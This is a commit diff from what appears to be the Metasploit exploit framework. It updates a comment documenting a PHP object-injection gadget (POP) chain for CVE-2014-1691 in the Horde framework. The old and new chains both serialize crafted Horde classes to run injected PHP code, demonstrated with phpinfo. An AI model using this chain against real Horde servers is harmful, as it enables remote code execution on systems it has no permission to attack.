Update POP chain documentation

bug/bundler_fix
jvazquez-r7 2014-03-18 16:29:30 -05:00
parent 77c128fbc5
commit 379c0efd5a
1 changed files with 30 additions and 35 deletions

View File

@ -94,56 +94,51 @@ class Metasploit3 < Msf::Exploit::Remote
end end
=begin =begin
PHP chain by EgiX: http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection PHP chain by EgiX: http://karmainsecurity.com/exploiting-cve-2014-1691-horde-framework-php-object-injection
$phpcode = '"&&eval("phpinfo();die;")=="'; class Horde_Config
 
class Horde_Date_Parser_Token
{ {
   public $tags = array('A'); protected $_oldConfig = "phpinfo();die;";
} }
 
class Horde_Prefs_Scope class Horde_Prefs_Scope
{ {
   protected $_prefs; protected $_prefs = array(1);
 
   function __construct()
   {
      $this->_prefs = array($GLOBALS['phpcode'] => 1);
   }
} }
 
class Horde_Prefs class Horde_Prefs
{ {
   protected $_opts, $_scopes; protected $_opts, $_scopes;
 
   function __construct() function __construct()
   { {
      $this->_opts['sizecallback'] = array(new Horde_Date_Parser_Token, 'untag'); $this->_opts['sizecallback'] = array(new Horde_Config, 'readXMLConfig');
      $this->_scopes['horde'] = new Horde_Prefs_Scope; $this->_scopes['horde'] = new Horde_Prefs_Scope;
   } }
} }
 
class Horde_Prefs_Identity class Horde_Prefs_Identity
{ {
   protected $_prefs, $_prefnames; protected $_prefs, $_prefnames;
 
   function __construct() function __construct()
   { {
      $this->_prefs = new Horde_Prefs; $this->_prefs = new Horde_Prefs;
      $this->_prefnames['identities'] = $GLOBALS['phpcode']; $this->_prefnames['identities'] = 0;
   } }
} }
 
class Horde_Kolab_Server_Decorator_Clean class Horde_Kolab_Server_Decorator_Clean
{ {
   private $_server, $_added = array(1); private $_server, $_added = array(1);
 
   function __construct() function __construct()
   { {
      $this->_server = new Horde_Prefs_Identity; $this->_server = new Horde_Prefs_Identity;
   } }
} }
  
$popchain = serialize(new Horde_Kolab_Server_Decorator_Clean); $popchain = serialize(new Horde_Kolab_Server_Decorator_Clean);
=end =end